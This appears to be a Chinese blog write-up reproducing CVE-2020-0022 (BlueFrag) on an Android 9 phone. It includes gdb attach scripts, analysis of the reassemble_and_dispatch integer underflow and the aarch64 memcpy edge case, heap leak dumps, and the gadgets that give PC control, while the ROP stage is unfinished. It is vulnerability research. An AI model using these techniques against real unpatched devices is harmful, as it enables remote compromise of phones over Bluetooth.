cve-2020-0022

CVE-2020-0022 复现

还差最后的rop部分

本文所用到的文件放在github

准备

调试相关

测试用的电脑系统是Ubuntu18.04 蓝牙设备 intel 8265

安装完必要的驱动以及工具之后需要修复一个小问题

1
2
3
4
5
Wel, FWIW, I changed the following two settings in /etc/default/bluetooth :
HID2HCI_ENABLED=1
HID2HCI_UNDO=1
This got the Logitech MX Master to work.
I did experience some flakiness in bluetooth connection after this; and am yet to debug that (do give it a shot & let me know how things work out)

在调试的时候如果出现一些奇奇怪怪的问题(大多数是因为还没有彻底断开连接?),可以尝试下重新开关下蓝牙开关

1
2
sudo hciconfig hci0 down
sudo hciconfig hci0 up

测试手机是红米note5

MIUI10 9.9.3 开发版本

android9 补丁版本 2019-09-05

因为miui上边有两个蓝牙相关的程序,所以我们需要确定在miui上边到底是哪个程序

1
2
3
whyred:/ # ps -A |grep blue
bluetooth 21568 1200 3952744 68580 SyS_epoll_wait 794bd1ac48 S com.xiaomi.bluetooth
bluetooth 30419 1200 4007944 78640 SyS_epoll_wait 794bd1ac48 S com.android.bluetooth

我用了一个比较暴力的方法去找的所在程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
whyred:/system # find . -type f |xargs strings -f |grep reassemble_and_dispatch
./lib64/libbluetooth.so: reassemble_and_dispatch
./lib64/libbluetooth_qti.so: reassemble_and_dispatch
./lib/libbluetooth.so: reassemble_and_dispatch
./lib/libbluetooth_qti.so: reassemble_and_dispatch

whyred:/proc # strings -f */maps|grep bluetooth
········
30419/maps: 78b0283000-78b02aa000 r-xp 00000000 103:1d 4172 /system/lib64/com.qualcomm.qti.bluetooth_audio@1.0.so
30419/maps: 78b02bb000-78b02bf000 r--p 0002c000 103:1d 4172 /system/lib64/com.qualcomm.qti.bluetooth_audio@1.0.so
30419/maps: 78b02bf000-78b02c0000 rw-p 00030000 103:1d 4172 /system/lib64/com.qualcomm.qti.bluetooth_audio@1.0.so
30419/maps: 78b02c4000-78b0638000 r-xp 00000000 103:1d 4260 /system/lib64/libbluetooth_qti.so
30419/maps: 78b0657000-78b0661000 r--p 00376000 103:1d 4260
·····

经过确定之后发现实际用到的是libbluetooth_qti,程序是com.android.bluetooth。后来调试的时候发现附加上应用之后,暂停应用时间过长的话,com.android.bluetooth 会超时,然后被杀掉。再看文章,发现作者使用了gdb脚本来进行调试(分析),于是我抄了一份脚本

1
2
3
4
5
6
7
8
#!/bin/sh
adb forward tcp:1234 tcp:1234
adb push ./attach.sh /sdcard/
adb shell "su -c cp /sdcard/attach.sh /data/local/"
adb shell "su -c chmod +x /data/local/attach.sh"
adb shell "su -c sh /data/local/attach.sh" &
sleep 1s
gdb --ex "source ./gdbinit" ./libbluetooth_qti.so

start.sh

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
killpid=$(ps -A|grep gdb|awk '{print $2}')
if [ $killpid ];
then
echo ${killpid}
kill -9 ${killpid}
fi
cd /data/local/
pid=$(ps -A|grep android.blue|awk '{print $2}')
./gdb :1234 --attach ${pid}

attach.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
set sysroot .
set architecture aarch64
#set auto-solib-add off
set follow-fork-mode child
set pagination off

target remote :1234
b *reassemble_and_dispatch
commands 1
x/10gx $x0-0x40
print "reassemble_and_dispatch param"
x/10gx $x0
c
end
set $bbl = 3
b *(reassemble_and_dispatch+1176)
commands 2
set $dst = $x0
set $src = $x1
set $length = $x2
p/x $dst
p/x $src
p/x $length
x/30gx ($dst&(~0xf))-0x50
tb *dispatch_reassembled
commands $bbl
x/10gx $x0-0x40
print "dispatch_reassembled param"
x/30gx $x0
set $bbl=$bbl+1
c
end
c
end
c

gdbinit 文件

这里还有一个问题,可能是我的机器性能太差,pwndbg之类的插件并不能正常使用,如果加载了这些插件程序在调试时就会被超时kill

协议相关

HCI(Host Controller Interface) 实现了对控制器的统一接口,使得Host(可以简单的理解成主机上的软件)和Controller(硬件控制器)之间的通讯简单了起来,他们之间的通讯是通过HCI Packet进行的。包括

  1. HCI Command host->controller
  2. HCI Event controller->host
  3. HCI Data host<->controller 这个包又分为 ACL(异步传输,不可靠) SCO (同步传输,可靠)

通讯抓包如下

image-20201216111257419

我们用到的结构体如下

image-20201216114323483

其中handle中包含handle , PB ,BC 三个字端

PB字段

  1. 00 host->controller 10 controller->host 首包 经过测试发现10 00在ubuntu上 效果是一样的:)
  2. 01 controller<->host 续包

包中各个关系如下

image-20201216134029824

漏洞分析

相关文章分析的也都挺详细了,

image-20201130221738348

主要问题是这里packet->len已经被修正了为真正需要拷贝的长度了,但是下边又减去了hci_hdr的长度

如果这时候真正需要拷贝的长度<4,就会发生整数溢出,导致传入memcpy的size是个负数,如果大于4,那么就会得到4字节未初始化的内存

exploit

memcpy bug

这个漏洞可以实现RCE,是用到了memcpy的一个bug

具体的分析在参考文章中也有,我这里再啰嗦一遍

安卓memcpy底层实现

考虑这么一种情况

(count+(dst&0xf))>MAXINT64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
	prfm    PLDL1KEEP, [src]
add srcend, src, count
add dstend, dstin, count
cmp count, 16
b.ls L(copy16);小于0x10跳转
cmp count, 96
b.hi L(copy_long);大于0x60
········
L(copy_long):
and tmp1, dstin, 15;tmpl = dstin&0xf
bic dst, dstin, 15 ;dst = dstin&(~0xf)
ldp D_l, D_h, [src];load [src] to d_l d_h
sub src, src, tmp1;src = src-tmpl dst 可以对齐 src不对齐
add count, count, tmp1;count = count+tmpl overflow /* Count is now 16 too large. */
ldp A_l, A_h, [src, 16];same
stp D_l, D_h, [dstin];write to dstin
ldp B_l, B_h, [src, 32];
ldp C_l, C_h, [src, 48]
ldp D_l, D_h, [src, 64]
subs count, count, 128 + 16;0x10+0x80 /* Test and readjust count. */
b.ls 2f ;less than jump to ret
1:
·········
/* Write the last full set of 64 bytes. The remainder is at most 64
bytes, so it is safe to always copy 64 bytes from the end even if
there is just 1 byte left. */
2:
ldp E_l, E_h, [srcend, -64];正常流程到这的话,因为size大 所以反向复制不会出问题的
stp A_l, A_h, [dst, 16]
ldp A_l, A_h, [srcend, -48]
stp B_l, B_h, [dst, 32]
ldp B_l, B_h, [srcend, -32]
stp C_l, C_h, [dst, 48]
ldp C_l, C_h, [srcend, -16]
stp D_l, D_h, [dst, 64]
stp E_l, E_h, [dstend, -64]
stp A_l, A_h, [dstend, -48]
stp B_l, B_h, [dstend, -32]
stp C_l, C_h, [dstend, -16]
ret

走一遍流程可以看到,这种特殊情况下memcpy是不会陷入拷贝死循环的

同时dst我们都能够控制&0xf的部分

在上述情况,memcpy会先拷贝[src,src+0x40)到[dst,dst+0x40) 之后 会拷贝 [srcend-0x40,srcend)到[dstend-0x40,dstend)

dstend = dst+count < dst(count 溢出成负数了),这样相当于我们能够溢出两部分,一部分是向后溢出,另外一部分是向前修改

leak

在memcpy bug中我们发现能够前向溢出0x40 后向溢出0x40

看源码可以发现,当有续包的时候,原来的数据会被free掉,如果没有则会进入reassembled

image-20201130222723172

经过调试我们可以发现,直接进入reassembled的包暂时不会被free,并且同样大小的包是在一块的(可以看参考文章基于jemalloc的Android漏洞利用技巧

image-20201130222920841

我们可以提前布置好数据,使用mempcy前向覆盖掉头部的一些长度控制信息,来实现leak内存数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
第一个包
Thread 33 "HwBinder:14052_" hit Breakpoint 1, 0x0000007bbb369610 in reassemble_and_dispatch(BT_HDR*) () from ./system/lib64/libbluetooth_qti.so
0x7c5ac3aa90: 0x6161616100366e08 0x027c028000026161
0x7c5ac3aaa0: 0xffff027866080001 0xffffffffffffffff
0x7c5ac3aab0: 0xffffffffffffffff 0xffffffffffffffff
0x7c5ac3aac0: 0xffffffffffffffff 0x78080001003affff
0x7c5ac3aad0: 0x0000000000421100 0x0001003c003e2002
$65 = "reassemble_and_dispatch param"
0x7c5ac3aad0: 0x0000000000421100 0x0001003c003e2002
0x7c5ac3aae0: 0x0101010100386f08 0x0101010101010101
0x7c5ac3aaf0: 0x0101010101010101 0x0101010101010101
0x7c5ac3ab00: 0x0101010101010101 0x0101010101010101
0x7c5ac3ab10: 0x0101010101010101 0x0000000000000101
第二个包
Thread 33 "HwBinder:14052_" hit Breakpoint 1, 0x0000007bbb369610 in reassemble_and_dispatch(BT_HDR*) () from ./system/lib64/libbluetooth_qti.so
0x7c5ac3aa90: 0x6161616100366e08 0x027c028000026161
0x7c5ac3aaa0: 0xffff027866080001 0xffffffffffffffff
0x7c5ac3aab0: 0xffffffffffffffff 0xffffffffffffffff
0x7c5ac3aac0: 0xffffffffffffffff 0x78080001003affff
0x7c5ac3aad0: 0x0000000000421100 0x0001003a003e1002
$66 = "reassemble_and_dispatch param"
0x7c5ac3aad0: 0x0000000000421100 0x0001003a003e1002
0x7c5ac3aae0: 0x0202020200367008 0x0202020202020202
0x7c5ac3aaf0: 0x0202020202020202 0x0202020202020202
0x7c5ac3ab00: 0x0202020202020202 0x0202020202020202
0x7c5ac3ab10: 0x0202020202020202 0x0000000000000202
memcpy
Thread 33 "HwBinder:14052_" hit Breakpoint 2, 0x0000007bbb369aa8 in reassemble_and_dispatch(BT_HDR*) () from ./system/lib64/libbluetooth_qti.so
$67 = 0x7c5ac3b6aa
$68 = 0x7c5ac3aadc
$69 = 0xfffffffffffffffe
0x7c5ac3b650: 0xffffffffffffffff 0x006b6162006cffff
0x7c5ac3b660: 0x0000004200441100 0x0001003c00402002
0x7c5ac3b670: 0x0101010100386f08 0x0101010101010101
0x7c5ac3b680: 0x0101010101010101 0x0101010101010101
0x7c5ac3b690: 0x0101010101010101 0x0101010101010101
0x7c5ac3b6a0: 0x0101010101010101 0x0000000000000101
0x7c5ac3b6b0: 0x0000007c5acf6df0 0xb61c5e94f8342798
0x7c5ac3b6c0: 0x0000000000000000 0x0000007c5b007165
0x7c5ac3b6d0: 0x000000000000000e 0x0000000000000000
0x7c5ac3b6e0: 0x0000007c5b007174 0x0000000000000009
0x7c5ac3b6f0: 0x0000000000000b56 0x0000000000000000
0x7c5ac3b700: 0x63657269646e6924 0x6174206665722074
0x7c5ac3b710: 0x0000000000656c62 0x0000007bcf5ac000
0x7c5ac3b720: 0x0000000000002000 0x0000007bcf5ac000
0x7c5ac3b730: 0x0000000000002000 0x0061000000000003
Temporary breakpoint 9 at 0x7bbb364a68
最后返回的包
Thread 33 "HwBinder:14052_" hit Temporary breakpoint 9, 0x0000007bbb364a68 in dispatch_reassembled(BT_HDR*) () from ./system/lib64/libbluetooth_qti.so
0x7c5ac3b620: 0x6161616100367508 0x027c028000016161
0x7c5ac3b630: 0xffff027866080001 0xffffffffffffffff
0x7c5ac3b640: 0xffffffffffffffff 0xffffffffffffffff
0x7c5ac3b650: 0xffffffffffffffff 0x006b6162006cffff
0x7c5ac3b660: 0x0000000000441100 0x0001027c02800002
$70 = "dispatch_reassembled param"
0x7c5ac3b660: 0x0000000000441100 0x0001027c02800002
0x7c5ac3b670: 0xffffffff02786608 0xffffffffffffffff
0x7c5ac3b680: 0xffffffffffffffff 0xffffffffffffffff
0x7c5ac3b690: 0xffffffffffffffff 0x110078080001003a
0x7c5ac3b6a0: 0x1002000000040002 0x70080001003a0101
0x7c5ac3b6b0: 0x0202020202020036 0x0202020202020202
0x7c5ac3b6c0: 0x0202020202020202 0x0202020202020202
0x7c5ac3b6d0: 0x0202020202020202 0x0202020202020202
0x7c5ac3b6e0: 0x0202020202020202 0x66d8000000000000
0x7c5ac3b6f0: 0x0000000000000b56 0x0000000000000000
0x7c5ac3b700: 0x63657269646e6924 0x6174206665722074
0x7c5ac3b710: 0x0000000000656c62 0x0000007bcf5ac000
0x7c5ac3b720: 0x0000000000002000 0x0000007bcf5ac000
0x7c5ac3b730: 0x0000000000002000 0x0061000000000003
0x7c5ac3b740: 0x0000000000000000 0x0000000000720065

leak code address and heap address

code address

这里使用了0x38 + 2 + 13 大小的堆块进行泄漏

从leak中发现了如下几个地方比较常见

0x74b3d2a898(几率较大)

image-20201130201835500

1
2
3
4
➜  myexploit ./maps_find.py ./maps 0x74b3d2a898
finding 0x74b3d2a898 in ./maps
find
74b3d1c000-74b3d3b000 r--p 00211000 103:1d 4399 /system/lib64/libandroid_runtime.so

另外一次leak

1
2
3
4
➜  myexploit ./maps_find.py ./maps1 0x7c565aa898
finding 0x7c565aa898 in ./maps1
find
7c5659c000-7c565bb000 r--p 00211000 103:1d 4399 /system/lib64/libandroid_runtime.so

image-20201130203427606

0x7415a25bf0

image-20201130202014131

1
2
3
4
➜  myexploit ./maps_find.py ./maps 0x7415a25bf0
finding 0x7415a25bf0 in ./maps
find
7415a21000-7415a2b000 r--p 00376000 103:1d 4260 /system/lib64/libbluetooth_qti.so
heap address

来看这一句

image-20201216132644083

我们自己写一个来试试

image-20201216134856225

image-20201216134838919

可以看到一项是一个堆块

返回来看bluetooth_qti.so

image-20201216135218119

image-20201216135235418

image-20201216135246530

那么,我们利用上述手法即可泄漏出真实堆地址(只是不稳定

image-20201216135654310

pc control

调试中发现,发送0x38畸形数据会有很大的几率触发以下代码

1
2
3
4
5
.text:000000000013B9EC                 LDR             X8, [X8,#8]
.text:000000000013B9F0 MOV X0, X19
.text:000000000013B9F4
.text:000000000013B9F4 loc_13B9F4 ; CODE XREF: sub_13B610+4E8↓j
.text:000000000013B9F4 BLR X8
1
2
3
4
5
6
7
8
9
.text:00000000000E93C4                 LDR             X8, [X19]
.text:00000000000E93C8 MOV X1, X2
.text:00000000000E93CC LDR X22, [X8]
.text:00000000000E93D0 BL ._ZN4base8internal13WeakReferenceC2EOS1__1 ; base::internal::WeakReference::WeakReference(base::internal::WeakReference&&)
.text:00000000000E93D4 MOV X2, SP
.text:00000000000E93D8 MOV X0, X19
.text:00000000000E93DC MOV X1, X20
.text:00000000000E93E0 MOV X3, XZR
.text:00000000000E93E4 BLR X22

此时 x8是x19指向的内容 x19指向当前包 只要我们能够准确知道上述两个地址,那么就能够控制pc了,之后就可以用rop来操作了

以及crash2.c中的方式会触发一个类似的代码

参考文章

CVE-2020-0022 an Android 8.0-9.0 Bluetooth Zero-Click RCE – BlueFrag

Android 8.1 上 memcpy 一点有趣的东西

CVE-2020-0022 “BlueFrag”漏洞分析

CVE-2020-0022 蓝牙漏洞初探(上)一个bug引发的血案

蓝牙核心技术概述(四):蓝牙协议规范(HCI、L2CAP、SDP、RFOCMM)

Bluetooth技术学习笔记 ——L2CAP之信令包格式

基于jemalloc的Android漏洞利用技巧

Bluetooth HCI介绍